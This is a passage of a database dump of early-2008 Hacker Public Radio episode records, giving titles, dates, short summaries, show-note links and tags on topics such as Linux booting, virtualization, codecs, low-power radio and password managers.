(6,'2008-01-08','Part 15 Broadcasting',2155,'dosman and zach from the packetsniffers talk about Part 15 Broadcasting which is low power ','dosman and zach from the packetsniffers talk about Part 15 Broadcasting which is low power broadcasting for the local area. Used to do community radio around an event, a church, concerts etc. They discuss what the regulations are in the US, what you need, how to get started, what things to consider. All in all great introduction to the topic.\r\n</p>\r\n<h2>links</h2>\r\n<ul>\r\n<li>Part 15 broadcasting resources: <a href=\"https://www.part15.us\">https://www.part15.us</a></li>\r\n<li>SSTRAN AMT3000 part 15 transmitter: <a href=\"https://www.sstran.com\">https://www.sstran.com</a></li>\r\n<li>FCC Low Power Broadcast Radio Stations: <a href=\"https://www.fcc.gov/guides/low-power-broadcast-radio-stations\">https://www.fcc.gov/guides/low-power-broadcast-radio-stations</a></li>\r\n<li>Windows Radio Broadcast software: <a href=\"https://www.zarastudio.es/en/ \">https://www.zarastudio.es/en/ </a></li>\r\n</ul>\r\n',3,0,1,'CC-BY-NC-SA','Part 15, HAM, soldering, fcc, radio',0,1344,1),
(7,'2008-01-09','Orwell Rolled over in his grave',530,'deepgeek reviews the film \"Orwell Rolls in His Grave\"','<p>\r\nIn today\'s show deepgeek reviews the film \"Orwell Rolls in His Grave\" which according to wikipedia is:\r\n</p>\r\n\r\n<blockquote>\r\nOrwell Rolls in His Grave is a 2003 documentary film written and directed by Robert Kane Pappas. Covered topics include the Telecommunications Act of 1996, concentration of media ownership, political corruption, Federal Communications Commission (FCC), the controversy over the US presidential election of 2000 (particularly in Florida with Bush v. Gore), and the October surprise conspiracy theory.\r\n</blockquote>\r\n',73,0,1,'CC-BY-NC-SA','film review, corruption',0,2071,1),
(8,'2008-01-10','Asus EeePC',1688,'Mubix and Redanthrax discuss the EEEpc','<p>\r\nMubix and Redanthrax discuss the EEpc where they discuss prices and configurations available at the time. They discuss the reliability os solidstate drives and mention that there are no moving parts.<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\">https://en.wikipedia.org/wiki/Asus_Eee_PC</a>\r\n</p>\r\n<blockquote>\r\nThe Asus Eee PC is a netbook computer line from ASUSTeK Computer Incorporated, and a part of the Asus Eee product family. At the time of its introduction in late 2007, it was noted for its combination of a lightweight, Linux-based operating system, solid-state drive (SSD), and relatively low cost. Newer models added the options of Microsoft Windows operating system, rotating media hard disk drives (HDD) and initially retailed for up to 500 euro.<br />\r\nThe first Eee PC was a milestone in the personal computer business, launching the netbook category of small, low cost laptops in the West (in Japan, subnotebooks had long been a staple in computing). According to Asus, the name Eee derives from \"the three Es\", an abbreviation of its advertising slogan for the device: \"Easy to learn, Easy to work, Easy to play\".<br />\r\nIn January 2013, Asus officially ended production of their Eee PC series due to declining sales as a result of consumers favoring tablets and Ultrabooks over netbooks. However they subsequently restarted the line with the release of the 1015 series.\r\n</blockquote>\r\n<p>\r\nThey also review backtrack:<br />\r\n<a href=\"https://en.wikipedia.org/wiki/BackTrack\">https://en.wikipedia.org/wiki/BackTrack</a>\r\n</p>\r\n<blockquote>\r\nBackTrack was a Linux distribution, superseded by Kali Linux, that focused on security based on the Ubuntu Linux distribution aimed at digital forensics and penetration testing use. In March 2013, the Offensive Security team rebuilt BackTrack around the Debian distribution and released it under the name Kali Linux.\r\n</blockquote>\r\n\r\n ',62,0,1,'CC-BY-NC-SA','eeepc, backtrack',0,4317,1),
(10,'2008-01-13','The Linux Boot Process Part 1',1504,'An introduction to Linux Boot looking at the differences between SystemV and BSD style systems','Linux Boot Process - Part I\nSystemV vs BSD Style Scripts\n\nIn part one of the Linux Boot Series we take a top level look at the Linux boot process and discuss some of the differences between SystemV based systems and BSD style systems. <br>\n I focus on RedHat, Slackware, Ubuntu (Debian) and Arch Linux.  Below are some resources for further information.<br>\n\n<a href=\"https://www.redhat.com/docs/manuals/linux/RHL-9-Manual/ref-guide/s1-boot-init-shutdown-process.html\">Redhat - RHL 9 boot - shutdown process</a> <br>\n<a href=\"https://openskills.info/infobox.php?IDbox=1042\">Slackware Boot Process</a> <br>\n<a href=\"https://www.debianhelp.co.uk/boot.htm\">Debian Boot Process</a> <br>\n<a href=\"https://searchenterpriselinux.techtarget.com/ateQuestionNResponse/0,289625,sid39_gci1089299,00.html\">Basic overview of SystemV vs BSD Systems</a> <br>\n<a href=\"https://www.ibm.com/developerworks/library/l-linuxboot/index.html\">IBM developer works book - Linux Boot Process</a><br>\n\n<a href=\"https://www.gentoo.org/doc/en/handbook/handbook-x86.xml\">Gentoo Handbook for x86</a><br> - It\'s hard to specify one chapter because Gentoo\'s documentation is top notch and very informative.  Review the installation and initscripts chapters in particular.\n\n',7,6,1,'CC-BY-NC-SA','Linux, boot, systemv, bsd, init',0,4606,1),
(11,'2008-01-14','dd_rhelp',520,'Using dd_rescue to rescue data from a hard-disk with bad sectors','<a href=\"https://del.icio.us/operat0r/dd_rescue\"> https://del.icio.us/operat0r/dd_rescue </a>\r\n<br>',36,0,1,'CC-BY-NC-SA','dd_rescue,dd_rhelp,backup,clone,image,rescue',0,4033,1),
(12,'2008-01-16','Xen',1120,'An overview of virtualisation with Xen','<a href=\"https://www.cl.cam.ac.uk/research/srg/netos/papers/2003-xensosp.pdf\">https://www.cl.cam.ac.uk/research/srg/netos/papers/2003-xensosp.pdf </a>\r\n<br>\r\n<a href=\"https://xen.org/\">https://xen.org/</a>\r\n<br>\r\n<a href=\"https://xensource.org/\"> https://xensource.org/ </a>\r\n<br>\r\n<a href=\"https://www.howtoforge.com\"> https://www.howtoforge.com </a>\r\n<br>\r\ndebian_etch_xen_from_debian_repository\r\n\r\n',48,0,1,'CC-BY-NC-SA','VMware,virtualisation,hypervisor',0,2645,1),
(13,'2008-01-17','LPI Certifications Part 1',960,'Ken Fallon is preparing for his \'Linux Professional Institute Certification\' (LPIC)','Ken Fallon, wants his \'Linux Professional Institute Certification\' (LPIC). He must be serious, because he\'s publicly preparing for it on HPR – no pressure, Ken. In this first episode of the series, he explains the certification process, sets up his practice system, and begins covering study material, for the 101 exam. He\'s using a detailed study guide, provided by IBM developerWorks. <br>\r\n\r\n<a href=\"https://www.ibm.com/developerworks/linux/lpi\"> IBM Developer Works: (LPI) exam prep </a> <br>\r\n\r\n<a href=\"https://64.233.183.104/search?q=cache:ennPWQUMj9cJ:www.comptechdoc.org/hardware/pc/pcboot.html+%22Power+Good+signal%22+mbr+boot+post+bios&hl=en&ct=clnk&cd=1\"> \r\nThe Booting Process of the PC </a> <br> \r\n\r\nSystem Boot Sequence <br>\r\n<a href=\"https://www.pcguide.com/ref/mbsys/bios/boot_Sequence.htm\">https://www.pcguide.com/ref/mbsys/bios/boot_Sequence.htm </a> <br>\r\n<a href=\"https://en.wikipedia.org/wiki/Booting\"> https://en.wikipedia.org/wiki/Booting </a> <br>\r\n<a href=\"https://en.wikipedia.org/wiki/Bootstrapping_%28computing%29\"> https://en.wikipedia.org/wiki/Bootstrapping_%28computing%29 </a> <br>\r\n\r\n\r\n----------------------------------------------<br>\r\nOther Links: <br>\r\n----------------------------------------------<br>\r\nLPI Certification Self-Study Guide<br>\r\n<a href=\"https://www.happy-monkey.net/LPI/\">https://www.happy-monkey.net/LPI/ </a> <br>\r\n\r\nWiki Book: LPI Certification <br>\r\n<a href=\"https://en.wikibooks.org/wiki/LPI_Linux_Certification\">https://en.wikibooks.org/wiki/LPI_Linux_Certification </a> <br>\r\n\r\n----------------------------------------------<br>\r\nSoftware: <br>\r\n---------------------------------------------- <br>\r\nVmware Server <br>\r\n<a href=\"https://www.vmware.com/download/server/\r\nVMware-server-1.0.4-56528.tar.gz\"> https://www.vmware.com/download/server/VMware-server-1.0.4-56528.tar.gz </a> <br>\r\n\r\nCentOS <br>\r\n<a href=\"https://isoredirect.centos.org/centos/5/isos/i386/\r\nCentOS-5.1-i386-netinstall.iso\"> https://isoredirect.centos.org/centos/5/isos/i386/CentOS-5.1-i386-netinstall.iso </a> <br>\r\nSelect FTP Site from mirror list <br>\r\n<a href=\"https://www.centos.org/modules/tinycontent/index.php?id=13./5.1/os/i386/\">https://www.centos.org/modules/tinycontent/index.php?id=13\r\n./5.1/os/i386/ </a> <br>\r\nE.g for ftp location: <br>\r\nftp.tudelft.nl <br>\r\npub/Linux/centos.org/5.1/os/i386/images\r\n<br>\r\nDebian Netinstall<br>\r\n<a href=\"https://cdimage.debian.org/debian-cd/4.0_r1/i386/iso-cd/\r\ndebian-40r1-i386-netinst.iso\"> https://cdimage.debian.org/debian-cd/4.0_r1/i386/iso-cd/debian-40r1-i386-netinst.iso </a> <br> \r\n\r\n---------------------------------------------- <br>\r\nOnline Assesment <br> \r\n---------------------------------------------- <br>\r\n<a href=\"https://www.redhat.com/apps/training/assess/\">https://www.redhat.com/apps/training/assess/ </a>\r\n<br>\r\n<a href=\"https://www.linux-praxis.de/lpisim/lpi101sim/index.html\">https://www.linux-praxis.de/lpisim/lpi101sim/index.html </a> <br>\r\n<br>\r\nShownotes by: diggsit\r\n',30,0,1,'CC-BY-NC-SA','Linux Professional Institute Certification,LPIC',0,3844,1),
(14,'2008-01-18','Databases 101 Part 2',1569,'Part 2 of Database 101 with Stankdawg','<h3>RDBMS - Relational Database Management System</h3>\n\n<p><em>Relational Model</em>: when there are relationships between items of\ndata such as products, customers and orders</p>\n\n<p>A database contains two-dimensional <em>tables</em> which are similar in\nconcept to spreadsheets. Each table contains columns and rows like\na spreadsheet, but these are called <em>fields</em> and <em>records</em> in\ndatabase terminology</p>\n\n<p>Data is stored in tables but is broken down into the most efficient form\nsuch that there is no duplication. This process is called\n<em>normalisation</em>.</p> \n\n<p>Fields have data types associated with them, such as numeric fields for\nstoring numbers or text fields for storing text.</p>\n\n<p>Tables have <em>keys</em> to simplify searching. <em>Primary keys</em> are\nused to make records in a table unique.</p>\n\n<p><small>Shownotes by: Dave Morriss, 2015-08-14</small></p>\n',55,4,1,'CC-BY-NC-SA','RDBMS,table,normalisation,field,record,key,primary key',0,2394,1),
(15,'2008-01-20','Spring Cleaning',275,'In spring cleaning, Plexi discusses the personal information contained in trash','“Too much information”, that\'s what Plexi, finds on old papers and receipts. <bt>\r\n<br>\r\nShownotes by: diggsit',57,0,1,'CC-BY-NC-SA','security,personal information,rubbish,trash',0,1575,1),
(16,'2008-01-22','Benefits of Virtualization',1120,'Why you would want to use, and the benefits of virtual machines','\r\n\r\nVirtual Machines Part 1.  Deepgeek, defines \'Virtual Machine\', and gives examples of when it\'s advantageous to use one.  The docdropper companion article can be found at the following address:  <br> <a href=\"\r\n\r\nhttps://www.docdroppers.org/wiki/index.php?title=Benefits_of_Virtual_Machines\"> \r\nhttps://www.docdroppers.org/wiki/index.php?title=Benefits_of_Virtual_Machines </a> <br>\r\n<a href=\"\r\nhttps://en.wikipedia.org/wiki/Donald_Knuth\"> \r\nhttps://en.wikipedia.org/wiki/Donald_Knuth </a> <br>\r\n<br>\r\nShownotes by: diggsit',73,8,1,'CC-BY-NC-SA','virtualization, virtual machines, introduction, simulation, software, knuth',0,1578,1),
(17,'2008-01-22','Torrentflux',403,'torrentflux is an open-source web-based gui front-end for bit-tornado. Features and install info.','Enigma, shares how TorrentFlux helps him manage bit torrent traffic on his LAMP server. There\'s lots of features in this web-based, Open Source system. <br>\r\n<a href=\"https://www.torrentflux.com/\"> https://www.torrentflux.com/ </a> <br>\r\n<br>\r\nShownotes by: diggsit\r\n',39,0,1,'CC-BY-NC-SA','torrentflux,torrent,linux,apache,mysql,multi-user,php,server,LAMP,web-based,open-source',0,1321,1),
(18,'2008-01-24','An Interview with Ed Piskor',3547,'An Interview with Ed Piskor','An interview with <a href=\"https://edpiskor.blogspot.com/\">Ed Piskor</a>, writer and artist of the graphic novel <a href=\" https://www.edpiskor.com/wizzy.html\">\"WIZZYWIG\"</a> which is about a young hacker growing up in the 1980s.  He also talks about some of the influences and stories that helped shape the book.',55,78,1,'CC-BY-NC-SA','graphic novel,fiction,book review,interview,phreak,hacker,Mitnick,Poulsen,joybubbles',0,2997,1),
(19,'2008-01-24','SILC',487,'The Secure Internet Live Conferencing protocol.','Alk3, deciphers the “Secure Internet Live Conferencing” (SILC), protocol and project. You, can synchronously communicate in secrecy, with Open Source, SILC. <br>\r\n\r\n<a href=\"https://silcnet.org/\"> https://silcnet.org/ </a> <br>\r\n<a href=\"https://en.wikipedia.org/wiki/SILC_%28protocol%29\"> SLIC Wikipedia article </a> <br>\r\n<br>\r\nShownotes by: diggsit\r\n',64,0,1,'CC-BY-NC-SA','SILC protocol,SILC SDK,pidgin,irssi,irc,thread-safe,plugin,decentralized,scalable',0,4750,1),
(20,'2008-01-27','lighttpd',661,'Introduction to lighttpd, aka \"light-tee\", and compare to Apache: configuration, features.','Looking for a nimble and secure web server? Chess Griffin, suggests you look into the LIGHTTPD (Light-tee). He uses it, and in this episode he illuminates the reasons you may want to, too.\r\n\r\n<a href=\"https://www.lighttpd.net/\"> https://www.lighttpd.net/ </a> <br>\r\n<br>\r\n<br>\r\nShownotes by: diggsit',76,0,1,'CC-BY-NC-SA','web server,lighttpd,apache',0,1473,1),
(21,'2008-01-28','The Festival Speech Synthesis System',1814,'Intro to festival text-to-speech, related tools; synthesized voices; peek into host\'s personal life.','Dave Yates, and his co-host Lynn, demonstrate the voice synthesis package, Festival. Dave, discusses how he employs Festival, along with other packages to extend its capabilities. Lynn, clears-up a few of the finer points, for Dave. <br>\r\n<br>\r\n<a href=\"https://gentoo-wiki.com/HOWTO_speechd#Use_alsa_output_method\">Howto use alsa output</a>;<br>\r\n<a href=\"https://hts.sp.nitech.ac.jp/?Release%20Archive\">HMM-based Speech Synthesis System (HTS) - Release Archive or where to get CMU_US_SLT_ARTIC_HTS voice for festival ver 1.4.3</a>;<br>\r\n<a href=\"https://www.festvox.org/voicedemos.html\">Online voice demos</a>;<br>\r\n<a href=\"https://www.cstr.ed.ac.uk/projects/festival/morevoices.html\">Yet another online voice demo site</a>;<br>\r\n\r\n<a href=\"https://linuxgazette.net/114/john.html\">Linux Gazette article on festival</a>;<br>\r\n<a href=\"https://www.hackosis.com/index.php/2007/11/24/transform-linux-into-a-talking-companion/\">Hackosis festival article</a>;<br>\r\n<a href=\"https://festvox.org/docs/manual-1.4.3/festival_toc.html\">Festival ver 1.4.3 manual</a>;<br>\r\n<a href=\"https://dailypackage.fedorabook.com/index.php?/archives/42-Productive-Monday-Festival-Speech-synthesis.html\">Article with info on how to change default voice</a>;<br>\r\n<a href=\"https://perlbox.org/\">Perlbox Voice is an voice enabled application to bring your desktop under your command</a>;<br>\r\n<a href=\"https://leb.net/pub/blinux/doc/blinux/my-tts-linux.txt\">Mini linux tts howto; an older document with some still useful information</a>;<br>\r\n<a href=\"https://www.howtoadvice.com/ListenToIM/\">How to Make Your Instant Messenger Talk in Ubuntu Linux</a>;<br>\r\n<a href=\"https://linuxhelp.blogspot.com/2006/01/festival-text-to-speech-synthesis.html\">Another good festival article</a>;<br>\r\n<a href=\"https://forums.gentoo.org/viewtopic-t-195579-highlight-festival.html\">Gentoo forum:Festival tips: more understandable and books to audiobooks</a>;<br>\r\n<a href=\"https://www.cstr.ed.ac.uk/projects/festival/mbrola.html\">Festtival MBROLA info</a>; and<br>\r\n<a href=\"https://tcts.fpms.ac.be/synthesis/mbrola.html\">MBROLA binary and voices</a>\r\n\r\n<br>\r\n<br>\r\nShownotes by diggsit',77,0,1,'CC-BY-NC-SA','festival,speech generation,text to speech,synthesized voices',0,7988,1),
(22,'2008-01-30','Chunk Parsing ',325,'A description of \'chunk parsing\' and the development work being undertaken','Getting a machine to parse natural human language, can\'t be easy. Plexi, describes \'Chunk Parsing\', and the work being done to develop it. <br>\r\nReferences and further readings: <br>\r\n<a href=\"https://www-tsujii.is.s.u-tokyo.ac.jp/~tsuruoka/papers/IWPT05-tsuruoka.pdf\"> https://www-tsujii.is.s.u-tokyo.ac.jp/~tsuruoka/papers/IWPT05-tsuruoka.pdf </a> <br>\r\n<a href=\"https://www.ai.uga.edu/mc/ProNTo/Brooks.pdf\"> https://www.ai.uga.edu/mc/ProNTo/Brooks.pdf </a> <br>\r\n<a href=\"https://research.microsoft.com/india/nlpsummerschool/data/files/StevenBird%20-%20Chunking.pdf\"> Steven Bird Chunking.pdf </a> <br>\r\n<br>\r\nShownotes by: diggsit',57,0,1,'CC-BY-NC-SA','language,lexicon,parsing,development',0,1484,1),
(23,'2008-01-31','Software Review: K e e P a s s ',769,'StankDawg talks about KeePass, a nice way to manage your passwords in a portable and secure way','Wouldn\'t be nice to have a secure and flexible way to manage all of your usernames and passwords? StankDawg, suggests you turn to K e e P a s s. Strong encryption, dual-factor authentication, and portability, are just some of the reasons he likes this Open Source package. <br>\r\n<em>link removed to prevent spammers</em>\r\n<br>\r\nShownotes by: diggsit',55,0,1,'CC-BY-NC-SA','passwords,usernames,strong encryption,portability,dual-factor authentication',0,4142,1),
(24,'2008-02-01','An interview with Jonathan Bartlett',1547,'An interview with Jonathan Bartlett','Deepgeek, gets the low-down on the amazing Cell BE processor that runs on the PlayStation 3. Author, instructor, and developer, Jonathan Bartlett, explains how the chip\'s unique architecture (how many cores?!), makes it a multimedia master. <br>\r\n<a href=\"https://linkpot.net/gowns/ \"> Jonathan Bartlett\'s ibm.com developer works\r\narticles. </a> <br>\r\n<br>\r\nShownotes by: diggsit',73,78,1,'CC-BY-NC-SA','PS3,multi-core,\"assembly language\",\"cell processor\",hardware,linux,multimedia,cryptography,\"scientific computing\",interviews,deepgeek,author,\"Tulsa, Oklahoma\"',0,2354,1),
(25,'2008-02-03','Social Network Aggregation',2220,'openid explanation and social network feed aggregation howto','Peter and Harlem, have waded chest-high into the social networking sea. Before rescue is needed, they share how to unify profiles, feeds, and authentication, for many popular sites. The OpenID project is well explained, here. <br>\r\nLinks discussed in this episode:\r\n<ul>\r\n<li><a href=\"https://openid.net\">OpenID.Net</li>\r\n<li><a href=\"https://Claimid.com\">ClaimID</a></li>\r\n<li><a href=\"https://myid.net\">MyID.net</a> (OpenID provider)</li>\r\n<li><a href=\"https://idproxy.net\">IDProxy.net</a> (OpenID provider)</li>\r\n<li><a href=\"https://yahoo.com\">Yahoo!</a></li>\r\n<li><a href=\"https://twitter.com\">Twitter</a></li>\r\n<li><a href=\"https://twitterfeed.com\">TwitterFeed</a></li>\r\n<li><a href=\"https://twitter.com/nikolaidis\">My Twitter account</a></li>\r\n<li><a href=\"https://twitter.com/statuses/friends_timeline/8066642.rss\">My Twitter updates, with friends</a> (rss)</li>\r\n<li><a href=\"https://facebook.com\">Facebook</a></li>\r\n<li><a href=\"https://www.facebook.com/profile.php?id=791595406\">My Facebook profile</a></li>\r\n<li><a href=\"https://del.icio.us\">Delicious</a></li>\r\n<li><a href=\"https://del.icio.us/nikolaidis\">My Delicious account</a></li>\r\n<li><a href=\"https://del.icio.us/rss/nikolaidis\">My Delicious account\'s feed</a> (rss)</li>\r\n<li><a href=\"https://Pownce.com\">Pownce</a></li>\r\n<li><a href=\"https://pownce.com/feeds/public/nikolaidis/\">My Pownce public notes</a> (rss)</li>\r\n<li><a href=\"https://blog.nikolaidis.com/\">My Blog</a></li>\r\n<li><a href=\"https://blog.nikolaidis.com/?feed=rss2\">My Blog\'s feed</a> (rss)</li>\r\n<li><a href=\"https://nikolaidis.jaiku.com/\">My Jaiku account</a></li>\r\n<li><a href=\"https://nikolaidis.jaiku.com/feed/rss\">My Jaiku\'s feed</a> (rss)</li>\r\n<li><a href=\"https://del.icio.us/rss/nikolaidis\"></li>\r\n<li><a href=\"https://blog.nikolaidis.com/2007/11/06/oh-what-a-tangled-web-we-weave-when-first-we-practice-social-networking/\">How I aggregate social network updates</a> with Pownce, Jaiku, Twitter, Del.icio.us, my blog, and TwitterFeed</li>\r\n<li><a href=\"https://www.ateamshrine.co.uk/sounds.php\">The A-Team Shrine</a></li>\r\n</ul>\r\n\r\n<br>\r\n<br>\r\nShownotes by: diggsit',74,0,1,'CC-BY-NC-SA','openid,twitter,twitterfeed,pownce,jaiku,wordpress,\"web 2.0\",aggregator,rss,blog,publishing,\"distributed authentication\",authentication,\"social network\",howto,introduction',0,1471,1),
(26,'2008-02-04','Intro to codecs',1150,'Understanding the basics of sound and video codecs, why they are needed and how they work.','In this first of a four-part series, Klaatu begins a discussion of free and non-free video codecs. Specifically, why they are needed and how they work.\r\n<br>\r\n<br>\r\nShownotes by: diggsit\r\n',78,0,0,'CC-BY-NC-SA','codec, video, sound, music, compression, decompression, transcoding',0,1972,1),
(27,'2008-02-05','How to Record a HPR episode',363,'Using Audacity to record an HPR episode','Have something to say, on HPR? Enigma, unwraps the riddle of recording an episode. If you\'ve got a computer, a microphone, and are on the tubes, you\'re well on your way.  <br>\r\n<a href=\"https://audacity.sourceforge.net/\"> https://audacity.sourceforge.net/ </a> <br>\r\n<a href=\"https://www.hackerpublicradio.org/hpr_theme.zip\"> HPR Theme </a><br>\r\n\r\n<br>\r\nShownotes by: diggsit\r\n',39,0,1,'CC-BY-NC-SA','podcast,recording,audacity',0,1343,1),
(28,'2008-02-06','Project Chanology',500,'A quick, neutral intro to the conflict between Anonymous and Scientology','Project Chanology (Anonymous vs. Scientology). <br>  Important details \r\nmissing from a majority of reports on the story <br>are brought up front to\r\nthose unaware. <br>\r\n\r\nCommon \'anonymous\' forums: <br>\r\n<a href=\"https://www.4chan.org\"> https://www.4chan.org </a> <br>\r\n<a href=\"https://www.encyclopediadramatica.com/Talk:PROJECT_CHANOLOGY\"> https://www.encyclopediadramatica.com/Talk:PROJECT_CHANOLOGY </a> <br> \r\n<a href=\"https://partyvan.info/index.php/Project_Chanology\">  https://partyvan.info/index.php/Project_Chanology </a> <br> \r\n\r\nLinks with information on Scientology: <br>\r\n<a href=\"https://www.scientology.org\"> https://www.scientology.org </a> <br>\r\n<a href=\"https://www.xenu.net\"> https://www.xenu.net </a> <br>\r\n<a href=\"https://www.xenutv.com\"> https://www.xenutv.com </a> <br>',42,0,1,'CC-BY-NC-SA','slick0,\"project chanology\",scientology,anonymous,explainer,backgrounder,ddos',0,2098,1),
(29,'2008-02-07','Codecs Part 2',1135,'The technique of video compression, the variables involved, file size and delivery method.','Klaatu continues his four-part series. This episode focuses on the technique of video compression. He explains the variables involved, and how they relate to file size and delivery method.\r\n<br>\r\n<br>\r\nShownotes by: diggsit',78,0,0,'CC-BY-NC-SA','codec, compression, video, frames, frame-rate, bit-rate',0,1416,1),
(30,'2008-02-10','Network Backups',836,'Overview of some free software backup solutions. Specifics of dosman\'s solution, with autochanger.','Network Backups – how hard can it be? Dosman, gives an overview of some free software, backup solutions. He, then describes his home network, backup project. There\'s an autochanger involved, so he\'s got some hackin\' to do. <br>\r\n\r\n<a href=\" https://sg.torque.net/sg/\"> SCSI Generic Driver (SG) </a> <br>\r\n<a href=\"https://mtx.opensource-sw.net/\"> MTX tape library tools </a> <br>\r\n<a href=\"https://www.amanda.org/\"> Amanda </a> <br>\r\n<a href=\"https://www.bacula.org/en/\"> Bacula </a> <br>\r\n<br>\r\nShownotes by: diggsit',3,0,1,'CC-BY-NC-SA','backups,amanda,bacula,\"tape changer\",\"tape robot\",\"incremental backup\",\"full backup\",linux,\"fedora 5\",\"centos 5\",SCSI',0,1439,1),
(31,'2008-02-11','Intel Virtualization Technology',560,'Quick intro to hardware virtualization support on Intel chips','Mirovengi, reports on an IEEE.org article that details Intel\'s VT technology.  The advantage of bringing virtualization down to the hardware level, is discussed. <br>\r\n<a href=\"https://ieeexplore.ieee.org/xpl/freeabs_all.jsp?arnumber=1430631\"> https://ieeexplore.ieee.org/xpl/freeabs_all.jsp?arnumber=1430631 </a> <br>\r\n<br>\r\nShownotes by: diggsit',48,8,1,'CC-BY-NC-SA','virtualization,intel',0,2203,1),
(32,'2008-02-13','UCLUG - Ken Wehr Presentation',5868,'Ken Wehr speaks to the Upstate Carolina Linux Users Group','Google employee Ken Wehr speaks to the Upstate Carolina Linux Users Group. <br>',77,0,1,'CC-BY-NC-SA','Linux,Talk,\"Linux user group\"',0,1682,1),
(33,'2008-02-14','Linux Boot Process Part 2a - LILO',1943,'Dann talks about the linux boot process','LILO = Linux Loader\r\n\r\nI discuss the ins-and-outs of LILO, hot it is configured and how it is initialized and what to do when it screws up.  This is part 2a in my Linux Start Process series.  Be on the look out for 2b discussing GRUB very soon.<br>\r\n\r\nLinks: <br>\r\n\r\n<a href=\"https://www.tldp.org/HOWTO/LILO.html\">Lilo Mini-Howto</a> <br>\r\n<a href=\"https://en.wikipedia.org/wiki/LILO_(boot_loader)\">LILO Wikipedia Page</a> <br>\r\n<a href=\"https://lilo.go.dyndns.org/\">LILO home page</a> <br>',7,6,1,'CC-BY-NC-SA','Linux,\"Linux Boot process\",Talk,series',0,1865,1),
(34,'2008-02-15','Cowon D2 Review',848,'Chess Griffin\'s talks about his Cowon D2, portable media player.','Chess Griffin\'s, got a Cowon D2, portable media player. He likes it. He likes it a lot. When he gets done reviewing all its features, you\'re going to want one, too. Linux and BSD users, this may be the device you\'ve been searching for.\r\n<br>\r\n<a href=\"https://www.cowonamerica.com/products/cowon/d2/media.html\">Cowon D2 Product Page </a> <br>\r\n<br>\r\nShownotes by: diggsit\r\n',76,0,1,'CC-BY-NC-SA','\"Cowon D2\",Linux,BSD,\"Media Player\"',0,2217,1),
(35,'2008-02-18','An interview with John Whaley',1240,'droops interviews John Whaley from Moka5','<p>\r\ndroops interviews John Whaley from <a href=\"https://www.moka5.com/about-us/our-team/john-whaley/\"> Moka5.</a>\r\n</p>\r\n<p>\r\nJohn Whaley is responsible for the technical vision of Moka5. He holds a doctorate in computer science from Stanford University, where he made key contributions to the fields of program analysis, compilers, and virtual machines. He is the winner of numerous awards including the Arthur L. Samuel Thesis Award for Best Thesis at Stanford, and has worked at IBM’s T.J. Watson Research Center and Tokyo Research Lab. John was named one of the top 15 programmers in the USA Computing Olympiad. He also holds bachelor’s and master’s degrees in computer science from MIT and speaks fluent Japanese.\r\n</p>',1,78,1,'CC-BY-NC-SA','Moka5,interview,\"computer science\"',0,1943,1),
(36,'2008-02-19','LPI Certifications Part 2',1914,'Ken covers computer buses and system resources','Continuing his journey toward LPI certification, Ken covers computer buses and system resources.  Please note, there is a minute and a half, gap in this recording – your player\'s battery didn\'t die. <br>\r\n\r\n<a href=\"https://computer.howstuffworks.com/pci.htm/printable\"> https://computer.howstuffworks.com/pci.htm/printable </a><br>\r\n<br>\r\nShownotes by: diggsit',30,7,1,'CC-BY-NC-SA','LPI,bus,\"System Bus\",\"PCI Bus\"',0,2036,1),
(37,'2008-02-19','This Old Hack Part 5',2411,'In this editon of this old hack fawkesfyre builds a shmooball cannon','In this editon of this old hack fawkesfyre builds a shmooball cannon <br>\r\n<br>\r\n\r\n<a href=\"https://youtube.com/watch?v=-lXK9zyUDPc\"> Video demo </a> <br>\r\n',75,5,1,'CC-BY-NC-SA','series,Making,building',0,1748,1),
(38,'2008-02-20','R4DS Review',982,'Stankdawg reviews the R4DS adapter for the Nintendo DS','Stankdawg reviews the R4DS adapter for the Nintendo DS ',55,0,1,'CC-BY-NC-SA','Gaming,\"Nintendo DS\",\"Games consoles\",Adapters',0,1487,1),
(39,'2008-02-22','Debian Live CD',747,'Information on Debian Live CD\'s and a small framework to build them.','Information on Debian Live CD\'s and a small framework to build them. <br>\r\n\r\nDebian Live: <br>\r\n<a href=\"https://debian-live.alioth.debian.org/\"> https://debian-live.alioth.debian.org/ </a> <br>\r\n<a href=\"https://wiki.debian.org/DebianLive/\"> https://wiki.debian.org/DebianLive/ </a> <br>\r\n<a href=\"https://live.debian.net/cdimage/\"> https://live.debian.net/cdimage/ </a> <br>\r\n\r\n<a href=\"https://exitstatusone.com/?p=19\"> DFS Live CD </a> <br>\r\n<a href=\"https://exitstatusone.com/?p=33\"> Video of live-helper </a> <br>',64,0,1,'CC-BY-NC-SA','Linux,Debian,LiveCD,\"How to\",\"linux iso\'s\"',0,1497,1),
(40,'2008-02-24','Sys internals Part 1',514,'an introduction to the sys internals suite','an introduction to the sys internals suite',79,0,1,'CC-BY-NC-SA','Microsoft, sys internal suite',0,2218,1),
(41,'2008-02-26','Codecs Part 3',1004,'Containers (such as .avi) and codecs are different. Klaatu explains the details.','Codecs aren\'t containers. Klaatu explains the difference. He also presents some legal and technical factors to consider when choosing a codec.\r\n<br>\r\n<br>\r\nShownotes by: diggsit',78,0,0,'CC-BY-NC-SA','codec, video, containers, legal, vlc, avi, mpeg, xvid',0,2358,1),
(42,'2008-02-26','Zune Review',472,'Enigma reviews the Zune mp3 player','Enigma reviews the <a href=\"https://www.zune.net/en-US/\"> Zune mp3 player </a> <br>',39,0,1,'CC-BY-NC-SA','MP3,\"Media Player\",Review',0,1300,1),
(43,'2008-02-27','Docdroppers',345,'W3lshrarebit, introduces Docdroppers.org ; a resource for the hacking community','W3lshrarebit, introduces <a href=\"https://www.docdroppers.org\"> Docdroppers.org </a>; a resource for the hacking community.  Search and submit hacker articles, at DocDroppers.    \r\n<br>\r\n<br>\r\nShownotes by: diggsit\r\n',80,0,1,'CC-BY-NC-SA','Hacking,community',0,1257,1),
